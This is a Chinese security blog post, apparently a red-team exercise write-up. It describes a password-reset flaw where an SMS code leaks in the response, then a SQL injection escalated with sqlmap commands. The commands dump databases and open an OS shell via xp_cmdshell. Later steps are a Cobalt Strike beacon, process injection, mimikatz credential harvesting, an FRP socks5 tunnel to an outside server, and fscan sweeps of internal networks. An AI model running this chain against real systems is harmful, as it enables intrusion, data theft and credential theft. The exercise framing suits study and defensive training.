攻防演练下的实战思路:贰

admin 2023年1月12日02:24:51评论32 views字数 2411阅读8分2秒阅读模式

在壹篇中主要讲了弱口令漏洞在攻防演练中的利用,有朋友可能会觉得弱口令漏洞非常简单,为什么还要讲它呢?理由是虽然弱口令漏洞非常简单,但是在攻防演练环境下还是普遍存在的,因此针对未知系统我会优先尝试弱口令。尽管现在随着网络安全意识的普及,大部分单位或公司都使用8位以上且包含各种字符的强口令,但由于使用随机字符的强口令实在反人类,普通人根本无法记住它们,因此为了合规会设置相对好记的口令,比如哥谭市财政局,其系统口令就有可能是gtcz@2022,这种伪强口令其实还是属于弱口令的范畴当中,攻击者配合工具可轻易猜到它们,同时在目标未登记的老资产中也会存在一些默认口令、弱口令,当我们信息收集做的足够好时就能发现它们,从而进入应用获取权限。本文主要介绍我在攻防演练中遇到的两个实战思路,分别是逻辑漏洞和SQL注入的利用。

0x01 逻辑漏洞

在资产收集时 fofa 是一个非常不错的工具,比如针对哥谭市的攻防演练,在实在找不到其他资产的情况下,可以使用title="哥谭"搜索全部与哥谭市相关的网络资产,导出后再筛选即可发现一些与目标相关联的系统,通过以上方式成功找到如下登录界面:攻防演练下的实战思路:贰

通过目录扫描发现日志路径为/logfile,检查后发现用户名phtyxx以及手机号攻防演练下的实战思路:贰

在登录界面中选择忘记密码,输入日志中泄露的用户名攻防演练下的实战思路:贰

完成后输入手机号,点击发送验证码攻防演练下的实战思路:贰

在 BurpSuite 的历史记录下发现响应包中存在验证码攻防演练下的实战思路:贰

输入验证码194694后输入新密码完成密码修改,最终成功以管理员身份登录系统攻防演练下的实战思路:贰

0x02 SQL注入

数据库权限

在 AWVS 扫描报告里发现目标网站存在注入,验证漏洞成功

http://x.x.x.x:8010/display.asp?vkind=1%27
攻防演练下的实战思路:贰

使用 sqlmap 查询全部数据库,成功返回多个数据库名

sqlmap -u "http://x.x.x.x:8010/display.asp?vkind=1" --dbs
攻防演练下的实战思路:贰

查看当前用户为sa,即成功拿到数据库中的 DBA 权限

sqlmap -u "http://x.x.x.x:8010/display.asp?vkind=1" --current-user
攻防演练下的实战思路:贰

使用--count参数可计算各个数据库中存在多少条数据,可方便我们计算数据分数

sqlmap -u "http://x.x.x.x:8010/display.asp?vkind=1" -D pdata --count
攻防演练下的实战思路:贰

使用--tables可获取数据库中的表名,同理使用--columns可获取表中的列名

sqlmap -u "http://x.x.x.x:8010/display.asp?vkind=1" -D video --tables
sqlmap -u "http://x.x.x.x:8010/display.asp?vkind=1" -D video -T vadmin --columns
攻防演练下的实战思路:贰

使用--dump参数查看表中的所有数据

sqlmap -u "http://x.x.x.x:8010/display.asp?vkind=1" -D pdata -T students --dump
攻防演练下的实战思路:贰

在数据库中可能会存在敏感的密码、API信息,为了方便查看可将整个数据库导出后再筛选

服务器权限

如果想要通过 MSSQL 数据库提权,最常见的方式就是开启xp_cmdshell组件,而在 sqlmap 中使用--os-shell参数默认会利用该组件获取服务器权限;假如想要执行数据库命令,可使用--sql-shell参数。

sqlmap -u "http://x.x.x.x:8010/display.asp?vkind=1" --os-shell
攻防演练下的实战思路:贰

成功拿到服务器系统权限,同时发现其IP地址为192.168.11.2攻防演练下的实战思路:贰

利用 powershell 无文件落地上线CS攻防演练下的实战思路:贰

查看目标是否存在域环境

shell ipconfig /all
攻防演练下的实战思路:贰

查看进程并尝试注入到其他正常系统程序当中

inject 4884 x64
攻防演练下的实战思路:贰

执行 mimikatz 成功获取明文密码

logonpasswords
攻防演练下的实战思路:贰

建立代理隧道

上传 FRP 客户端程序以及配置文件,相关配置文件如下:

[common]
server_addr = x.x.x.x
server_port = 7000

[http_proxy]
type = tcp
remote_port = 6000
plugin = socks5

同时在公网服务器中上传 FRP 服务端程序以及配置文件,相关配置文件如下:

[common]
bind_addr = 0.0.0.0
bind_port = 7000

在公网服务器上启动 FRP 服务端

./frps -c frps.ini

在目标主机中启动 FRP 的客户端

shell frpc.exe -c frpc.ini

代理隧道建立成功攻防演练下的实战思路:贰

内网扫描渗透

上传 FSCAN 针对所有私有网段进行漏洞扫描

shell fscan64.exe -h 10.0.0.0/8 -o 10_result.txt
shell fscan64.exe -h 192.168.0.0/16 -o 192_result.txt
shell fscan64.exe -h 172.16.0.0/12 -o 172_result.txt

攻防演练下的实战思路:贰攻防演练下的实战思路:贰

配置 socks 代理后使用超级弱口令扫描工具扫描内网中存在的弱口令攻防演练下的实战思路:贰

最后根据扫描结果验证内网中存在的漏洞,提交报告拿分完事

0x03 总结

总体来说以上两个案例还是采用的常规思路,其中第一个案例中出现的逻辑漏洞为验证码缺陷,配合敏感信息泄露可达到修改用户密码的效果;第二个案例则是利用SQL注入提权获取服务器权限,建立代理后可进入内网刷分。幸运的是在攻击过程中并没遇到防护设备或防守人员的拦截,整个流程相对来说还算比较简单、流畅。只有实践才是检验真理的唯一标准,攻防演练就是一个非常不错的平台,欢迎各位大佬交流相关的心得体会。


原文始发于微信公众号(亿人安全):攻防演练下的实战思路:贰

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年1月12日02:24:51
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   攻防演练下的实战思路:贰https://cn-sec.com/archives/1442059.html

发表评论

匿名网友 填写信息